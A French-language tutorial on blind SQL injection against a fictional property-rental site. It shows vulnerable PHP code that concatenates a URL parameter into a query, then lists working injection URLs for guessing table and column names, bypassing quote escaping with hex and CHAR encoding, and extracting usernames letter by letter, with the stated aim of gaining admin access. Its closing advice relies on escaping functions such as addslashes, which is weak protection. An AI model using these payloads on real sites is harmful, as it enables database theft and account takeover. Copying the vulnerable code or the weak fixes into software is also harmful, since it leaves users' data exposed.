BLIND SQL INJECTION
1 - INTRODUCTION
2 - DÉFINITION
3 - DÉTECTION
4 - DE LA FAILLE A L'EXPLOIT
5 - ÉCRITURE D'EXPLOIT
6 - RÉCUPÉRATION D'INFORMATIONS
7 - CONCLUSION
1 - INTRODUCTIONCe document a pour but de vous faire découvrir, voire apporter un support d'aide à vos injections SQL "à l'aveugle".
Celles-ci, peu connues des développeurs, sont des
armes redoutables qui ont fait, et feront encore longtemps leurs preuves.
2 - DÉFINITION
Les injections SQL dites "blind" (à l'aveugle) sont des injections SQL particulières.
En effet, le résultat de la requête nous est inconnu... Enfin presque

Comprenez par là, que
le seul retour que l'on peut avoir, est 'vrai', ou 'faux'.
De fait, afin d'accéder à une information précise, il faut la "deviner" lettre par lettre le plus souvent. D'où l'utilisation de bots (
exploits) pour faire le travail.
3 - DÉTECTIONLes failles se détectent comme pour les injections SQL classiques.
Sauf que le résultat, est l'affichage ou non d'un bloc de la page, ou le changement d'ordre des données d'un tableau, ...
Exemple :Une agence de location immobilière présente des appartements sur son site.
Il y a une liste d'appartements, et une fiche appartement par appart'.
Afin de pouvoir récupérer en bdd les informations liées à l'appartement dont vous voulez la fiche détaillée, un identifiant de l'appartement est placé dans chaque lien.
Imaginons la fiche suivante : '
http://mon-agence.com/fiche-appart.php?id=975'
Côté serveur, si le développeur n'est pas un grand fan de sécurité, on peut avoir quelque chose comme ceci :
$query = "SELECT * FROM appartements WHERE id=".$_GET['id']
$appartement = mysql_fetch_array(mysql_query($query));
if($appartement){
echo 'adresse :' . $appartement['adresse'];
}
Si nous modifions l'url comme ceci :
http://mon-agence.com/fiche-appart.php?id=975 and 1=0
La requête deviendra : "SELECT * FROM appartements WHERE id=975 and 1=0".
Or 1 est différent de 0. alors même si un appartement a l'id 975, il n'y aura aucun résultat!
Donc rien ne s'affichera.
Idem pour :
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 0)
La spécificité ici est la requête imbriquée, une requête dans une autre :
"SELECT * FROM appartements WHERE id=975 and 1 = (select 0)".
Alors que l'adresse s'affichera pour :
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 1)
Donc, on peut remarquer, que grâce au select imbriqué, on va pouvoir
poser des questions au serveur de base de données.
Et que quand nous dirons quelque chose qui est vrai (eg : 1 = 1) alors l'adresse s'affichera.
Et donc, que, si l'adresse s'affiche, ça veut dire que l'on a dit quelque chose de vrai!

Voilà, vous avez le concept de l'injection sql en aveugle entre les mains
4 - DE LA FAILLE A L'EXPLOITBon c'est bien, j'affiche, ou je cache un bout de texte, mais moi je veux l'accès admin!Il faudra d'abord deviner la structure de la base de données. C'est ce qu'on appelle le
guessing.
On ne cherche pas directement la valeur d'un champ, puisqu'on ne connait pas le nom du champ.
Ni même le nom du champ, puisque l'on ne connait pas le nom de la table.
Nous devons y aller pas à pas :
Cherchons tout d'abord le nom de la table que nous aimerions consulter :
Typiquement, on peut essayer des requêtes comme :
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from users)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from user)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from admin)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from ...)
Il y a d'autres techniques, bien plus pratiques, mais plus difficiles à mettre en place.
Nous en reparlerons à la fin de cet article.

Avec les requêtes ci-dessus, si l'adresse s'affiche, alors la table existe...
Si vous avez une erreur type : "Table 'users' doesn't exist" ou que la page ne s'affiche pas, c'est que la table n'existe pas.
Une fois que l'on aura trouvé la table des utilisateurs,
que nous nommerons par la suite : 'utilisateur', nous devrons chercher le nom du champ!
Toujours pareil, si l'expression est vraie, l'adresse s'affichera.
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select login from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select username from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select pseudo from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select user_name from utilisateur)
La requête avec user_name affiche l'adresse de l'appartement! chouette, j'ai mon nom de champ

On peut passer aux choses sérieuses!
Comme il est impossible d'afficher le login d'un utilisateur directement, nous allons tenter de le deviner :
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 'admin')
Cette requête serait vraiment osée.
Elle ne passera en général pas, que ce soit a cause des quotes ( ' ) qui seront echappées (\') par php, ou à cause d'un login incorrect...
Pour bypasser la protection anti chaines de charactères, plusieurs possibilités s'offrent à nous.
- l'
encodage en héxa : 'admin' = 0x61646d696e
- l'
utilisation du couple de fonction [CONCAT] (click!) et [CHAR](click!) de mysql : 'admin' = CONCAT(CHAR(97), CHAR(100), CHAR(109), CHAR(105), CHAR(110))
Cf la table ASCII (ou avec l'aide de
ce superbe outil (click!))
Ce qui peut donner quelque chose comme :
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 0x61646d696e)
Evidemment, pour trouver un login comme ça, il va falloir un sacré paquet de chance...
Imaginez pour un mot de passe...

L'idée c'est de chercher lettre par lettre (c'est un peu la technique du bruteforce):
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(99) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(100) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
...
Notez l'introduction de "LIMIT".
Cette option permettra de récupérer seulement la 1ère ligne de la table.
Quand on a trouvé la 1ere lettre, on passe à la suivante en changeant un paramètre de la fonction SUBSTR:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
...
Et ainsi de suite pour le mot complet...
Ensuite, pour passer au second mot, on modifie le limit : LIMIT 1,1
Pour le troisième : LIMIT 2,1
Je vous dis ce qu'il faut mettre pour le 4ème?

Vous imaginez bien que ça peut prendre un temps fou de faire ça à la main, d'où l'intérêt des exploits!
5 - ÉCRITURE D'EXPLOITUn exploit, est un programme qui va s'occuper de faire ces injections pour vous.
Il va s'occuper d'automatiser la récupération d'informations.
En simple, il s'agira de le faire boucler sur chaque lettre d'un mot, afin de vérifier son existence.
Pour cela, il récupèrera la page, et vérifiera dans notre cas que l'adresse s'affiche bien.
Évidemment cela peut s'améliorer afin de limiter au maximum le nombres de requêtes (et par la même le nombre de lignes dans les logs d'apache).
Peut-être verrons-nous cela plus en détail dans un prochain tuto
6 - RÉCUPÉRATION D'INFORMATIONS - GUESSING Le guessing peut être facilement fait avec un exploit, en attaquant le champ
table_name de la table
information_schema.tables.
En effet, cette table recense toutes les tables de la base de données, leurs structures, leurs champs, ainsi que le type de données.
Pareillement, on peut trouver l'utilisateur courant (
current_user) et encore nombre d'autres informations...
Cela a une importance car un utilisateur SQL 'root' a un accès à toutes les bases de données du serveur.
Ceci est vrai pour MySQL et PostgreSQL.
D'autres noms de variables sont à prévoir pour d'autres SGBD.
7 - CONCLUSIONCette faille est énormément répandue, elle est souvent sous-estimée par les développeurs.
Les sites qui y sont vulnérables sont de véritables invitations au
take over d'un serveur.
La possibilité d'automatiser la récupération d'information sur toute une base, voir même, de récupérer toute la base est des plus graves!
En couplant un exploit générique à un scanner Metasploit, il serait possible de récupérer des quantités d'informations énormes.
Protégez vous!
Addslashes ou
mysql_real_escape_string() sur les entrées alphanumériques, et
intval(), sur les entrées numériques, sont d'excellents boucliers.
Nonobstant de protéger non seulement les
entrées utilisateurs tels les champs de formulaires, mais aussi les
cookies, et les
headers.